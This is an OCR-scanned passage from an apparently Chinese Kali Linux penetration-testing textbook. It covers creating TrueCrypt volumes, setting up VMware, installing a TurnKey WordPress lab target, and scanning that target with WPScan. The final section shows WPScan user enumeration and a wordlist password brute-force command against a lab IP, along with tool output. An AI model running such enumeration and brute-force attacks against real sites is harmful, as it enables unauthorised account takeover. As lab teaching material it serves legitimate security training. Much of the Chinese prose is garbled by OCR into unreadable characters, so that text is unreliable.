=[ metasploit v4.7.0-2013082802 [core:4.7 api:1.0]
+ - -—=[ 1161 exploits - 641 auxiliary - 180 post
+ -- -—=[ 310 payloads - 30 encoders - 8 nops

msf >

PATLL a2 )5, & 3| mst>47 15 47K msfeonsole JH alJ i) T . 7R ProxyChains &
B .

25 H X dn F

i Kali Sp42 41 74 F st s LI TrueCrypte % L HLE 3K T U5 (1148 € 4 5 i
B, ANTEEAE AT SCPERT nT AR S BB ST BRI . T ) DA AR AR AT U 1), B
VAR S A ) SO B s I, 7 el I A % A % o TrueCrypt S it 2 R s 5
7, fUfh AES. Serpent. Twofish. AES-Twofish Fl AES-Twofish-Serpent 5. A6 /24
TrueCrypt T H A H] .

251 GIEmMEBZR

il /] TrueCrypt TN Hoxo HARERME DRI R o,
(1) fizh TrueCrypt T H. TEZ 5T W NI dr 4
root@kali:~# truecrypt

e 44 .
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PATEA B ),

B 2.6 Frasit) Fm.

TI'LIECI'YPE ud

Volumes Favorites Tools Settings Help k‘

Slot
- 2
s 3
4
@5
w6
a7
8
S 9
< 10
s 11
12

Volume

_-_-
[

Size Mount Directory Type

L)

Volume

Create Volume | Volume Properties...

| Wipe Cache

[

|V [ Select File...

]

M Nevi

er save history

[ Vo.ume Tools... ] [ Select Device, .

J

Mount

” [AUIO’MOUHT Devlces] “ [ Dismount ALL h‘ L Exit

]

2.6 TrueCrypt #144 F1A

(2) TEi% 7 i Create Volume %4, Wbasn¥ 2.7 Bz ir) 51

TrueCrypt Volume Creation Wizard k

O] [Creatn an encrypted file :anhineri

Recommended for inexperienced users.

More information

TrueCrypt Volume Creation Wizard

Creates a virtual encrypted disk within a file.

O Create a volume within a partition/drive

Formats and encrypts a non-system partition, entire
external or secondary drive, entire USB stick, etc.

-

[ FEBI(H) I | < Prey [ Next >

| i |

€ 2.7 TrueCrypt Volume Creation Wizard

45«
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(3) fEiZ ML FR A G 74, X HLIEFEERIA B Create an encrypted file container 67,
Fify Next 18], K oWl 2.8 Fros ) 71 .

TrueCrypt Volume Creation Wizard

-

>

Volume Type

@ lSI:amlard TrueCrypt vnlume}

Select this option if you want to create a normal
TrueCrypt volume.

) Hidden TrueCrypt volume

It may happen that you are forced by somebody to
reveal the password to an encrypted volume. There are
many situations where you cannot refuse to reveal the
password (for example, due to extortion). Using a
so-called hidden volume allows you to solve such
situations without revealing the password to your
volume.

More information about hidden velumes

[ manen | [ <prev | next> | [ mo |

K] 2.8 Volume Type

(4) ZFmE R, IX LB Standard TrueCrypt volume, Hil7 Next %411,
P i 2.9 FroR ) 5t .

TrueCrypt Volume Creation Wizard kf' Hd

Volume Location

[ v | |setect Fite.. |

Never save history

A TrueCrypt volume can reside in a file (called TrueCrypt
container), which can reside on a hard disk, on a USB flash
drive, etc. A TrueCrypt container is just like any normal file
(it can be, for example, moved or deleted as any normal
file). Click 'Select File' to choose a filename for the
container and to select the location where you wish the
container to be created.

WARNING: If you select an existing file, TrueCrypt will
NOT encrypt it; the file will be deleted and replaced with
the newly created True Crypt container. You will be able
to encrypt existing files (later on) by moving them to the
TrueCrypt container that you are about to create now.

| me) |

€ 2.9 Volume Location

.46 .
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(5) TEiZFHM ¥ Select File.. 444, ¥ WosuilE 2.10 Frosit) .

BN :

REFHRE) : AR

Specify a New TrueCrypt Volume E

[Crypt\lnlume| l

1% (R) 3 | & v K| @A
Q, g5 Desktop 20145038148
@ BEERAN | fbterm-1.7.0.tar.gz 96KB EHi—
[ wlan-01.vs 434 Y BN -
= ‘ Al Files ] }

| mEo || ®Ee) |

€210 38%E ¥ TrueCrypt 45

(6) {EiZFHH Gt e M ARRN S, XA NE AN CryptVolume, {47
fi/root o o ARG Hl “fRAF” Fdll, KR s 2.11 Fros i) At .

TrueCrypt Volume Creation Wizard h’ Hd

Volume Location

[!root.’(ﬁrypt\loiume | D [Select FiieJ

Never save history

A TrueCrypt volume can reside in a file (called TrueCrypt
container), which can reside on a hard disk, on a USB flash
drive, etc. A TrueCrypt container is just like any normal file
(it can be, for example, moved or deleted as any normal
file). Click 'Select File' to choose a filename for the
container and to select the location where you wish the
container to be created.

WARNING: If you select an existing file, TrueCrypt will
NOT encrypt it; the file will be deleted and replaced with
the newly created TrueCrypt container. You will be able
to encrypt existing files (later on) by moving them to the
TrueCrypt container that you are about to create now,

[ FERA(H) } I < Prev " Next > J l HLE (O

g 2.11 Volume Location

(7) TR T v LG S RTTI GV A5 1) 2 R . SRS s Next #2058 2 om W&

2.12 Fras i .

(8) {EIZF LTINS Sk, X HLEFRERGAROE L AES, SR)5 i Next #4411,
K R P 2.13 o i) St .

47«
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TrueCrypt Volume Creation Wizard !d
K
Encryption Options
-Encryption Algorithm
IAES ] < ] Test J

FIPS-approved cipher (Rijndael, publisnedin 1998) that
may be used by U.S. government dezpartments anc
agencies to protect classified information up to the Top
Secret level. 256-bit kay, 128-bit block, 24 rounds
(ALS-256). Mode of operationis XT5.

More information on AES Benchmark

Hash Algorithm
‘ RIPEMD-160 CJ Information or hash algorithms
1 Eah(H) J [ < Prev H Next > ] [ BUH(C) l

[¥ 2.12  Encryption Options

TrueCrypt Volume Creation Wizard ﬁd

Volume Size

10240| MB ¢ o

Free space available: 61.1 GB

Pleass specify the size of ths container to create. Note
that the minimum possible size cf a volume s 292 KB.

[ man) | [ cprev | Next> | [ miHO |

€ 2.13 Volume Size

(9) fEiZF MR EARN A/ N 10GB, A5 Hddi Next {48, R ldmuilE 2.14 Frosi
FrT .

48 .
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TrueCrypt Volume Creation Wizard k

[

Volume Password

Passworc; [eessee

Confirm passworc: (seesse

r Display passwaord

[ Use keyfiles

possible length is b4 characters.

Itis very mportart tha: you cheose & gooc passwerd, You
snould avoid choosing one that contains orly a single word ‘
that can be found in a dictonary (or a comtinaticn of 2, 3,

or 4 such words). It should nat contain any names or dates

of brth. It should nct be easy to guess. A good password

1s a random combination ot upper and Lower case letters,
numbers, and special characters, suchas @ *
V/e recommend choosing a password consisting of mere
than 20 characters (the longer, the better). The maximum

=$*+etc

[ eI | | i ][ . [ WK () ]
€ 2.14 Volume Password
(10) EHRMIMA A HOFR, REBL .
Next Tg%ﬂ, )]% \E'”,‘ﬂ——\'!lmgl 215 Fﬁ'ﬂ——\' H{Jﬁlﬁfﬁg WARNING: Shart passwords ars eas\ltucrac%unir'gbrute

Force techniques

(L) S P B0 1 KR, U/ 20

We recommend chocsing z password consisting cf more thar

/l\?"?;ji R y”;&'ﬁﬁ %g{i}:ﬁ i,z%_:bﬂj E}‘J ‘LE , EFI—EE s IEé »” 20 characters. Are you sure you want Lo use a short passwore?
| ao ]

L, B 2.16 Pt Fri

(12) eI A mEFEA7 il B SO R, X

215 ZHER

i%&#¢ I will not store files larger than 4GB on the
volume. #RJ5H 7 Next &4, ¥ WonifE 2.17 fros i Fm .

TrueCrypt Volume Creation Wizard k’

bl o

Large Files

® Ll will not store filas largar than 4 GB on the volume

volume.

Choose his option f ycu do not need to store files
larger than 4 GB (4,294,967,296 bytes) on the

O I will store files larger than 4 GB on the volume

Choose this option f ycu need to store files larger than
4 GB (4,294,967, 296 bytes) on the volume.

[ HEEN(H) ] [ < Prev [ Next >

| [ w0 ]

F2.16 Large Files

* 40«
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TrueCrypt Volume Creation Wizard ud

Format Options k

Filesystem Options
Filesystem type: ‘

-Volume Format Options

O Quick format ‘

In order to enable your operating system to mount your
new volume, it has to be formatted with a filesystem,
Please select a filesystem type.

If your volume is going to be hosted on a device or
partition, you can use 'Quick format' te skip encryption of
free space of the volume.

| mane) | [ <prev | nex> | [ mio |

P 2.17 Format Options

(13) {EiZ S FE M RGER, 2R FAT. % | H 34 ¥ #F Linux Ext2, Linux EXt3
Fl Linux Bxtd 257, 3% H %8 Linux Extd, 5 Next #2401, ¥ B 0pE 2.18 Firm
ﬁmn

TrueCrypt Volume Creation Wizard Hﬁ

k
Cross-Platform Support

O I will mount the volume on other platforms

Choose this opticn if you need to use the volume on
other platforms.

@ II will mount the valume only on Linux

Choose this opticn if you do rot need to use the
volume on other olatforms.

(e | [ <orev | Nexs> | [ mi#© |

g 2.18 Cross-Platform Support

(14) G mIEFHERZ G FE, XHEERSE F A T will mount the volume

« 50 -
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only on Linux, i Next 44, ¥ 4mWiPE 2.19 Frasi 5t .

TrueCrypt Volume Creation Wizard Hu
. (3
Volume Format

Random Pool: 484 (192 /S19BLBE /BOD64DDS1Y. . ] [She
Header Key:
Master Key:

| | (La0ore ]
Done | | Speed ‘ ‘ Left ‘

IMPORTANT: Move your mcuse as randomly as possible
within this windew. The longer you move it, the better.
This signficantly ircreases the cryptographic strength of
the encryption xeys. Then click Format to create the

volurre,

FHEI(H) < Prev H Format ] I BULHE(C) l

& 2.19 Volume Format

(15) BeEae i@ mts, i #di Format f24l, Ffu/riip 2.20 Froni

Fi1f

TrueCrypt Volume Creation Wizard Hd

Volume Format

Random Pool; CB62E39274924F41B2C11DF62B . . She
Header Key: 1B2DA43413D07F2D70CE99CTES .
Master Key: 0626EDBSE@3E4DC713FDABE4CC . .

==

Left | 2 minutes ‘

9.404% ‘ Speed | 70 MB/s

Done

IMPORTANT: Move your mouse as randomly as possible
within this window. The Longer you move it, the better.
This significantly increases the cryptographic strength of
the encryption keys, Then click Format to create the

volume.

FEBh(H) <Prev, || Format EE(C)

F220 4GS RE

e 5] -
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(16) %FHM Wor T RS AL P RERE . MO RIET M) 3545 B i e fr e, Bien
B 2.21 frsi .

TrueCrypt

o The TrueCrypt volume has been successfully created.

g 2.21 TrueCrypt 45 B nk o

(17) {3 FHAE O, X8 TrueCrypt B0 @RI 7. i, By “#ae” #8, 8
TRl 2.22 FaRF A .

TrueCrypt Volume Creation Wizard Hd

Volume Created

The TrueCrypt volume has been created and is ready for
use. If you wish to create another TrueCrypt volume, click
Next. Otherwise, click Exit,

[ E(H)] [ < Prev " Next > ] [ Exit ]

[% 2.22 Volume Created

(18) M TrueCrypt it Gl 5/ T o MR BB 54> TrueCrypt (115, #
o Next f4#. &M Exit #2418 Bxit #81 )5, CBRR 3] & 2.6 F i) AL .

252 NHFEEER

FE BN PR QI 7N H . WRES A NER AR, TR A
Ville B THFES, FENE 2.6 FRPEFE DR, R)58d7 Select File. 44, 17T
NIA 6 2 (1) CryptVolume %5, JX I 8y Mount #5581, 5 ol & 2.23 s S

LEIZ A A B E CryptVolume N BEE MY, Hadi “#E” 24, K 2RuE 2.24
IEN IR

e 52 .
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Volumes Favorites Tools Settings Help

Slot  Volume Size Mount Directory Type

) I ———

- 2

S 3

w4

-5 Enter password for"/root/CryptVolume"

g Password: ['“'"‘ J [ BE() }

7

w8 [ Cache passwords and keyfiles in memaory ELH(C)

-0 L] Display password

% 10

w12 =

‘Vulume Properties, | Wipe Cache ‘
Voelume

E [.lruut{Cryptanume | b | [ Select File... ]

RANIEVE feave e [ Volume Tools... ] [ Salect Device. .. ]

H Mount ]l Auto-Mount Devices} Dismount AlL ”“ Exit ”

223 H:#HE

TrueCrypt .n
& Oy FOr
Volumes Faverites Tools Settings Help
Slat  Volume Size Mount Directory Type
m {root/CryptYolume 10,0 GB |/meda/truscryptl
o 2
w3
S 4
5
- 6
w7
8
-9
“ 10
e 11
-2 r
Create Volume Volume Properties... ‘ Wipe Cache ‘
“Volume-
E /raot/CryptViolume I v [ Select File... I ‘
i Narins e bixsary. | volume Toois... | satect Device... |
{ Dismourt ]H ['\uto-Mnunt )cvl:e.-:} [ Dismount AlL ”H Exit H

224 CryptVolume #5H: 3581

MAZ T ] LU # CryptVolume 45 [(UEEZAS B R/ANAG A E S . Jelt, AP oLl
A AE A 1 s B A ARV M XN . S RZ SRR RS RS, A LB
Dismount All 441 #31% 4% .
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7t Kali Limux Fa[fEHI TR, 4 7 A AG IR 8 T ERIERT,  aAZ0AT A~ 4 Ak sk
05 = o AT A 24 WA i ] VMware Workstation #4 22 5 Fh#e/E R 45 AR T 2 AR S0 .

Q ffif] VMware Workstation;

Q il WordPress F1H At 5 LR

3.1 4#JH VMware Workstation

{EEE 1 SfajmgHhidtiE 7 4 VMware Workstation 2% Kali Linux FEULFFEE R e .
VMware Workstation iV & %eifE RE I HBATBRIFAEL . XA CHRIEE BN, ¢l
PLA#GE Kali Linux DJREEE{E T Hbr 0L A B 20 B HVEEE RS Windows
XP. Windows 7. Metasploitable 2.0 1 Linux. X% R 45 & 0] LLE| & AT E M 200 M7 ISO
LA, SRIGTE VMware Workstation | 273% , IX 82208 S48 (1 42 3¢ A FITE R | el 2e 4
Kali Linux {77754, 1XH LA HETA.

M E LN EBRATILS B, wRES SR RE A B2 Likisdr. T A
FERAE, VMware Workstation $2fik 7 —PMEF 4R TR, Sl BB R &, X6, mit
BT P REO @R BN RS . WA, Wk iZ RGO H . S, AREwkE.
52l R AU R B ) P AR A AP SR R o

(1) 1E VMware Workstation = 5 [fl 5E 26 522 52 1l 19 KE RN - 28 5 70 1% AL AR PRI F 1§
FAPL” | R (M) 7 | “wbE (C) 7 ar%, B 3.1 frasi) Fm .

AR LA T

M R R AR -
ARIEA 0 PR R LRI T
B G, > R >R > S T
[T EN

vmware
Workstation

Bl 3.1 WAl ve ke UL S
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(2) fEizFmEpRdG “ F—07 %l F Wi 3.2 B Ftm.

-3
ez e el

=
©) FEHH AR S RTIATR(C)
MRS DR S e — 1 ST

MARER (AR AR )(S):
i
(i e Rk ey

KE=fE®|F—Fw>] [ mA ]

K32 Tkl

(3) fEiZ St AT LAEFE RIS B ro fe, SX HLIEFE “ UL (19 S iR ™ k.
Wig i “F 287 e, R Ron el 3.3 Fronif St .

wEXM
1 P SRR AR,

HIEFE

O pltidRpe(L)
PRI RIREAIGIF . FIRATTE NIRRT e - (B2, LIRS
hiaIEAR BRI A HEETT o

© BlREEEE() -
RS ERIGE S AESRRAE - KRS Rihy . BEEH
ZRrEisiRET-

fE—#E®|f—5m> [ mE |

K 3.3 wapE i

(4) TEZFIILFE L. BUARIL T “ AUk b ” M “QId e s wifie” Wfh
Fike ABIPIESE “RIRER BT I, RS N2 L, KR 3.4 B

O BE ke EURMACAR — R B R R o BE R v B T A ] B ACA B R
SO WERSCAAN O] CEEUnwlEs) » B AasER B REMHT 1o
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Q0 sEskE: ©RMUSLHREANL B RUG E AT EIEAA. R R
BE A, I HASCATE R B . 588 s B LU M ACAH) R Tk v
B, e FEAS AU AR AT (LA R T

FeEmnER
TEE LRI BER A8 HR?

A ETR(V)
Kall 5|
fug(L)
D:AFERIEH] E \Documants\Virtual Machines\Kah fFspE SR ).

CE=gw) =g ) [ @& ]

34 #HEuyLa 0

(5) iZFhm R L 2 BRI S AR5l “se Rl 1641, KRt 3.5
B B ST -

IETESE R gL

v EEEERIEEE
EftEREsE

VMware Workstation

Eft5eig...

" =

[]35 IELETTREERINL

(6) ZFHHUE s RN iR, wRESERUR, Rk 3.6 Fra At

(7) MiZAHI T LA B BRI s BEsEme, Memf ik “Oer” %4, wRErERINLS
H 205 M1 E] VMware Workstation 157 O FL i, Wi 3.7 Fras.

(8) HAEminT LA “TF R ML B4R 45ll, BAT w M IE RS T .
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v ETEEREFIHEE
v EfrplE=gsis
v =R
K36 ke
r Y
i Kali B975E - VMware Workstation [E=mE—
MR WER(E) =BV EEPUM)  ERET)  &EEH)
B | DO  D=M 5| O
(5 kali .06 X ‘ (1 Kali ffysafE * Hmmw.s ( | Lj WordPress X || ([ Wincows 7 X 4
(3 Kali pUz=kz
P FrE eI =
G mEEpaE
(% FHRILENI,
v i2E&
. T 2GB
= 4
EE®(scs) 80 GB =
#yCD/DVD (IDE) IFEERsTH-.
Hixs =bi L
Lolzes rEEsl(a)
USB ##iIEE =
Gime i - SRS
a0 == R B2
S =Ez = RSV DASEATEEE\Documents\Virtual Machines\Kali
HITEEE\Kali #9558 vmx
- ik i BEEAIRETE: Workstation 9.0 EHIHL
L E /4

P37 SoBERIRERINL

3.2 3 WordPress Aot 57 J§) #2 /-

A KR 2 i LA ] SAAS (Software as a Service) L H 5 7R AR 55 . 44l
iy, AT AT ] WordPress {1 AT 19 ki (1) 9 2845 B 3240, sl /1 R 19 o 4 Drupal
REZE. MNIXSRy HIFE P h 3R B, 2R EATIMER .

T W TR W S R, Tumnkey Linux ft A AEH 1% 5 . Turnkey 1 1L
B J7 M2 http://www.turnkeylinux.org. A77H T 45 1T ) WordPress Turnkey Linux &
AT
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3.2.1 3£EY WordPress [ 12 F

FRUL WordPress [ R 1ty HL A B A 45 1 T 7.

(1) £E3% 2e b A http://www.turnkeylinux.org Huhit, FTIFHIFLH W 3.8 fim. M
1Z 10 F 4% Turnkey Linux.,

TU R M K EY ¥ APPS v HELP ¥ BLOG » SCREENSHOTS » TURNKEY HL"
L X

[} d~ Login | Register Search ¢

Have you checked out the TurnKey Hub yet? Try the live demo!

Total: 195.5 MB {$0.03/mo) Backup & Migration

Cloud Servers
Wordpress Q
Secure and easy server backups Rapidly explore and deploy
130.6 MB to Amazon S3. Automatically Virginia (East USA) 100+ free server apps in the
restore servers from backups. - Amazon EC2 doud.
64.0 MB Micro: $0.02/hour

Test backups in the cloud.

Only a browser required.

Benefits Blog

100+ ready-to-use solutions: discover and leverage the best free software. Deploy solutions

What's the best way to do
quickly on bare metal, virtual machines, or in the cloud.

free software bounties?

11th Apr, 2014
i : software with full source code and a powerful build system. Free of >
th:/,'wwwmrnkey\inux.mg,ah

TurnKey 13 critical
>

4 3.8 Tumnkey 171

(2) FEE LIS TIF 2R, oL M MRE AR E . BT mEm A, & 3.8
SO T —/f WA . FEizolinh, e DLzl & Mo e ae dkimi, Jfdn TR
X IX LR R e R M A . A a5 i WordPress, ) &) bR T UL
#| Instant Search X} 154E, Wi 3.9 Fios.

~
Specials Content management Web development Issue tracking Messaging
Etherpad Lite Joomla 2.5 Drupal 7 ASP .NET on Apache with
Real-time document Cutting Edge Content Content Management Mod Mono
collaboration Free .NET hosting
L .
Sahana Eden Ushahidi GitLab CouchDB
Humanitarian platform Crowdsourcing Crisis Self Hosted Git JSON based Web
Information Management database
LAMP Stack Zen Cart Yii Framework X00Ps
Web Stack (MySQL) online store PHP framework Content Management
management system and Web Application v

Platform
<

E 3.9 Rl
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(3) TEiZA UG AE A WordPress, #RJGH4 FEIEEE, Wz aild 3.10 Brzs i) 51 .

WordPress X A

‘WordPress - Blog Publishing Platform

WordPress is a state-of-the-art publishing platform with a focus on aesthetics, web
standards, and usability. It is one of the worlds most popular blog publishing
applications, includes tons of powerful core functionality, extendable via literally
hundreds of plugins, and supports full theming.

Specials Content management Web development Issue tracking Messaging

B =
TommeEy

Etherpad Lite Joomla 2.5 Drupal 7 ASP .NET on Apache with
Real-time document Cutting Edge Content Content Management Mod Mono
collaboration Management Framework Free .NET hosting
< I >

€ 3.10 WordPress J% FH P

(4) {EiZ St 0] UF 31 WordPress #2/7 CL42 4 3], IEI $11d; WordPress-Blog Publishing

Platform #£8:3E N 4000, Wi 3.11 Fios.

TU R M KEY ¥ APPS v HELP ¥ BLOG » SCREENSHOTS » TURNKEY HUB
L —N—U—X gt

I~ Log in Search Go

» Help You are here:  Home » Virtual appliances » WordPress

T AP e, | Blogging || PHP || Content management E)subscribe
» Specials
» IT Infrastructure WordPress - Blog Publishing Platform v

e
WordPress is a state-of-the-art publishing platform with a focus on aesthetics,
web standards, and usability. It is one of the worlds most popular blo

v

Web development
Content management

» Business management publishing applications, includes tons of powerful core functionality, extendable
» Messaging = via literally hundreds of plugins, and supports full theming.
» Issue tracking
» Database m
» SDK BUILDS: 243MBVM = 220MBISO | OVF, OpenStack, OpenVZ, OpenNode, Xen (?) | Manifest & Sigs
N S RUN FROM BROWSER: Deploy WordPress in minutes to the Amazon EC2 cloud
WordPress Updates TKLDEV SOURCE: github.com/turnkevlinux-apps/wordpress (7}

New TumKey WordPress
PR Stable version: 13.0 (changelog)

< >

€ 3.11 Tumkey F# T

(5) {EiZFHILFE N SO WG S ft. i 220MB ISO HE#E, # sl 3.12 Fiow

F A

Subscribe to Security and News announcements

Sign up to Turnkey's low-traffic announcements Email address:
newsletter to get important security bulletins —
and updates on major new releases.

We wen't spam you. See our Privacy Policy
In the works: dozens of new apps,
high-security deterministic builds, clustering, [ Subscribe and go straight to download ]

multi-app installations, better backups... e

Pl 3.12 e HRAR
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(6) ZF-MEE RN T %4, WIS —MEAthhl . ¥55¢)5, %7 Subscribe and go
straight to download 4%, #4145 % Tumkey WordPress ¥ 17

3.2.2 %= WordPress Turnkey Linux

AN RS2 4E VMware Workstation #1474 WordPress Tumkey Linux, 5T VMware
Workstation ], 7658 1 &b LRI 20d, X B AN PR A - 42 %% WordPress Turnkey
Linux (1] BARERMED B .

CD) FFETI N 400 ISO S ABDEIR S, SRS I8 )b, # 2ornE 3.13 g
EOR AT

Install to hard disk

€ 3.13 TURNKEY #¥JUf 51

(2) fEIZS AL FE Install to hard disk ET5, & “[WZ8E” , 5 BoRwEl 3.14 Frosfy)
I

B 3.14  EF KT

=60 -



R St

(3) ZFMRILESE T X7k ZRGERM T =Rk, SRR AR E
LVM. {§JEANHEM Tah 71X XA — R, S50 OK 4l #irmuifE 315
GIENIEITE

Bl 3.15 A5 EUHRDT A

(4) ZAmEs T X EEE, X RIS NS FRCE TVM 08?7 Qi
RCELHCH B DR, Sy No 4% 8L, 7B Yes $48. Aflrh i Yes 24, #5
WU 3.16 B i) 5 .

€316 LVM{zH

(5) ZFMErR T LVM RICEEE . i OK &4, K Won il 3.17 Fros i 51 .

K317 ST XA

(6) ZA PTG S I ARG RSG. U, Hadi OK 5l K s il
3.18 Fron M F1it

(7) T s T HEEL I 73 DORAR R, BEIR R 72 15 4 5 N B . 3K LA Yes 44241,
K s 3.19 B S

(6] -
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B 318 HEAEIXFE

B 03.19 SR B

(8) ZF MW 7RI BB A — DN RERE . I, FRaswE 320 Frashy
FrTT o

/320 4% GRUB 5|5

(9) Z AR /2 17 %% GRUB 513 IR 1251 T idac. IXHL Yes $241, K
BNt 3.21 Froac iy

321 BEEGDAS

(10) Z5LH %78 WordPress Tumkey Linux U483 52 1, J& UL T8 H 8 R &
Hiaki Yes #2041, B ban i P 3.22 From 9 5t

(11) %54 Root A1V & — AN . SN, B OK #44l, K S
3.23 PR S

(2 .



R tl e

¥ 3.22 Root %G

m———

< OR >

€ 3.23 Root ik 515

(12) SR KA Root JT P AR AR 65, Hdli OK Hicfll, K Wom s 3.24
Brzm B FH .

€ 3.24 MySQL %1

(13) EiZF M0 MySQL IR % (¥ Root 1) iM%, BLE ¢/ Bl OK #4H,
F o nE 3.25 P S

3.25 MySQL il %0

(14) FEiFI R MySQL IR 55 ) Root I/ S A ] B A5, 285 #idi OK 4441,
K s 3.26 Fros i) 5

9 3.26 Wordpress ffl 7 admin %/

* (3 .
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(15) TEIZFHIH4ERA Wordpress [ /' admin ¥ — 560, MATMG, i OK
Ml K 3.27 Fros i fti .

P 3.27 Wordpress Fl F* admin ik #15

(16) {EiZ MR Wordpress [ [ admin 4 ANAH [F] 1853509, 4R )5 848 OK 344,
TRl 3.28 FTas (1 A .

P 328 L EHEAEHbhE

(17) 4R Wordpress Ji/* admin 82— AN PR, 3 166 1 5RA T
admin@example.com. #XJ5 Hidi Apply 8, 5 IR W 3.29 PR i Ftii .

[¥] 3.29 Initialize Hub Services

(18) ZFm s #1461k Hub IR 955 &, 77 M Skip 425, K Wom Wifsl 3.30
BB FH .

Fg 330 Security updates



H3E AR

(19) &SRR IR he A 00, X Bl Install #4251, K WoniE 331 Fr
ZN:EITE

<Advanced Menu>

€ 3.31 WORDPRESS appliance services

(20) ZFM 2~ T WordPress W R4S IR TEAN {5 L, G Web HbhiE, Web shell bk F1
Ui |1 Webmin H#ihil:. PHPMyAdmin HihilFlui 1 A SSH/SFTP ikl Al 1155, i, ZFH]
WordPress Turnkey Linux il 0] L# ] T .

3.2.3 I WordPress N FHiEF

/NS4 T WordPress UL 22 o LTE S 0] LL B WordPress [ UKL, 7E Kali
Linux R} WPScan % ifi'tl. WPScan &R &4 4iss, ©aiFi i Word
Press ‘&2 (K] 22 AN 1 2 4T o AN A 2848 WPScan | HL 4l WordPress [ ]
&7 .

WPScan I Kali Linux " C£880A &4, S IREER W T Fis:

wpscan [i£1] [[li]

W BT B

O --update: S8 EHRA .

O --urlj-u <target url>: 5 E 14 WordPress 1) URL (Zr— i EM T ) otk 4 .
—force |-f: ML, B EI2 1T WordPress, 3# ] WPScan AN 2 .

--enumerate |-e [option(s)]: 5. S E LA u. u[10-20]. p. vp. ap-
tt. tv vt Al ate o u FR A 4 id1 #1105 u[10-20]4 517 44 M id10 5] 20
(MMMRFFFRIAE) ; p Bodfifrief s vp RonMURIFRITFL: ap RonPT A4l
PR O REFFEE— B ]) 5 ot For timthumbs; t Fom B vt o0 1
s at FRPTA L (o] REWE—BUIN WD .

[ 3-11  {fiH] WPScan Jili WordPress 1517 (1) HAR A E D B WTT R

(1) 7iKaliLinux F, &% WPScan [F7EEIEL . AT 6200 FFiR:

N
N

s (5.
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root@localhost:~# wpscan -h

VA /7 N/

AR A A4 B I I B -
AW R
|| SO T G G e O B
U S R VN VO N B

[
NYARY;

AN
o/

WordPress Security Scanner by the WPScan Team
Version v2.2
Sponsored by the RandomStorm Open Source Initiative
@_WPScan_, @ethicalhack3r, @erwan_Ir, @gbrindisi, @_FireFart_

Help :

Some values are settable in conf/browser.conf.json :
user-agent, proxy, proxy-auth, threads, cache timeout and request timeout
m conf/browser.conf_json).
--basic-auth <username:password> Setthe HTTP Basic authentication
--wordlist | -w <wordlist> Supply a wordlist for the password bruter and do the brute.
—-threads | -t <number of threads> The number of threads to use when multi-threading
requests. (will override the value from conf/browser. conf.json)
--username | -U <username> Only brute force the supplied username.
--help | -h This help screen.
--verbose | -v Verbose output.

Examples :

-Further help ...
ruby ./wpscan.rb --help

-Do 'non-intrusive' checks ..
ruby ./wpscan.rb --url www.example.com

-Do wordlist password brute force on enumerated users using 50 threads ...
ruby ./wpscan.rb --url www.example.com —-wordlist darkcOde.Ist —threads 50

-Do wordlist password brute force on the ‘admin' username only ...
ruby ./wpscan.rb --url www.example.com --wordlist darkcOde.Ist --username admin

PATLL B %G, oo G R Wl iE R s 7 WPScan [RAE B 774
K WPScan 1145, HITimIER IR, XHENG 7oA, HAEMERS . .

(2) fi /] WPScan (i WordPress E4IHL. AflH, WordPress [¥) IP il &
192.168.41.130. AT A4 Wl NRTR:

root@localhost:~# wpscan -u 192.168.41.130

A A /N

LS AN B T G
VWV OV NN
NN SO o G G I O O
\VARRVARR Y N R I B o

.66
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WordPress Security Scanner by the WPScan Team
Version v2.2
Sponsored by the RandomStorm Open Source Initiative
@_WPScan_, @ethicalhack3r, @erwan_lIr, @gbrindisi, @_FireFart_

| URL: http://192.168.41.130/
| Started: Thu Apr 17 13:49:37 2014

[1] The WordPress 'http://192.168.41.130/readme.htm!' file exists

[+] Interesting header: SERVER: Apache/2.2.22 (Debian)

[+] Interesting header: X-POWERED-BY: PHP/5.4.4-14+deb7u8

[+] XML-RPC Interface available under: http://192.168.41.130/xmirpc.php
[+] WordPress version 3.6.1 identified from meta generator

[+] WordPress theme in use: twentythirteen v1.0

| Name: twentythirteen v1.0
| Location: http://192.168.41.130/wp-content/themes/twentythirteen/

[+] Enumerating plugins from passive detection ...
No plugins found

[+] Finished: Thu Apr 17 13:49:41 2014

[+] Memory used: 2.414 MB

[+] Elapsed time: 00:00:03

A4S B R T WPScan — AN A B it A .
(3) FH P 5IER, ATar-S W R

root@localhost:~# wpscan -u 192.168.41.130 -e u vp

A /N

VN AN /DD
LSV VA A W WA VA AN
NN SO N G G e O O
\VARRVAR (R VU N O I

WordPress Security Scanner by the WPScan Team
Version v2.2
Sponsored by the RandomStorm Open Source Initiative
@_WPScan_, @ethicalhack3r, @erwan_Ir, @gbrindisi, @_FireFart_

| URL: http://192.168.41.130/
| Started: Thu Apr 17 13:50:49 2014

['] The WordPress 'http://192.168.41.130/readme.html’ file exists

[+] Interesting header: SERVER: Apache/2.2.22 (Debian)

[+] Interesting header: X-POWERED-BY: PHP/5.4.4-14+deb7u8

[+] XML-RPC Interface available under: hitp://192.168.41.130/xmirpc.php
[+] WordPress version 3.6.1 identified from meta generator

[+] WordPress theme in use: twentythirteen v1.0

| Name: twentythirteen v1.0
| Location: http://192.168.41.130/wp-content/themes/twentythirteen/

e (7 -
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[+] Enumerating plugins from passive detection ...
No plugins found

[+] Enumerating usernames ...

[+] We found the following 1 user/s:
et 4

| Id | Login | Name |
S S

| 1 | admin | admin |
+—t——t et

[+] Finished: Thu Apr 17 13:50:54 2014
[+] Memory used: 2.379 MB
[+] Elapsed time: 00:00:04

M 45 S el LU B 0 R/ 580 RAT A, 4404 admin.

(4) Jy WPScan fif 3£ —> wordlist 3L ff, i [{]--wordlist <path to file>TL il . $41T T2 Ul
FHR:

root@localhost:~# wpscan -u 192.168.41.130 -e u --wordlist /root/ wordlist.txt

A /N

WA /D e o
A VR VA I A W A VAN IR
NN SO R GO G O O
\VARRVAR (N WU NV O e

WordPress Security Scanner by the WPScan Team
Version v2.2
Sponsored by the RandomStorm Open Source Initiative
@_WPScan_, @ethicalhack3r, @erwan_Ir, @gbrindisi, @_FireFart_

| URL: http://192.168.41.130/
| Started: Thu Apr 17 13:54:51 2014

[1] The WordPress 'http://192.168.41.130/readme.htm!' file exists

[+] Interesting header: SERVER: Apache/2.2.22 (Dehian)

[+] Interesting header: X-POWERED-BY: PHP/5.4.4-14+deb7u8

[+] XML-RPC Interface available under: http://192.168.41.130/xmirpc.php
[+] WordPress version 3.6.1 identified from meta generator

[+] WordPress theme in use: twentythirteen v1.0

| Name: twentythirteen v1.0
| Location: http://192.168.41.130/wp-content/themes/twentythirteen/

[+] Enumerating plugins from passive detection ...
No plugins found

[+] Enumerating usernames ...

[+] We found the following 1 user/s:
+—t——t et
| Id | Login | Name |
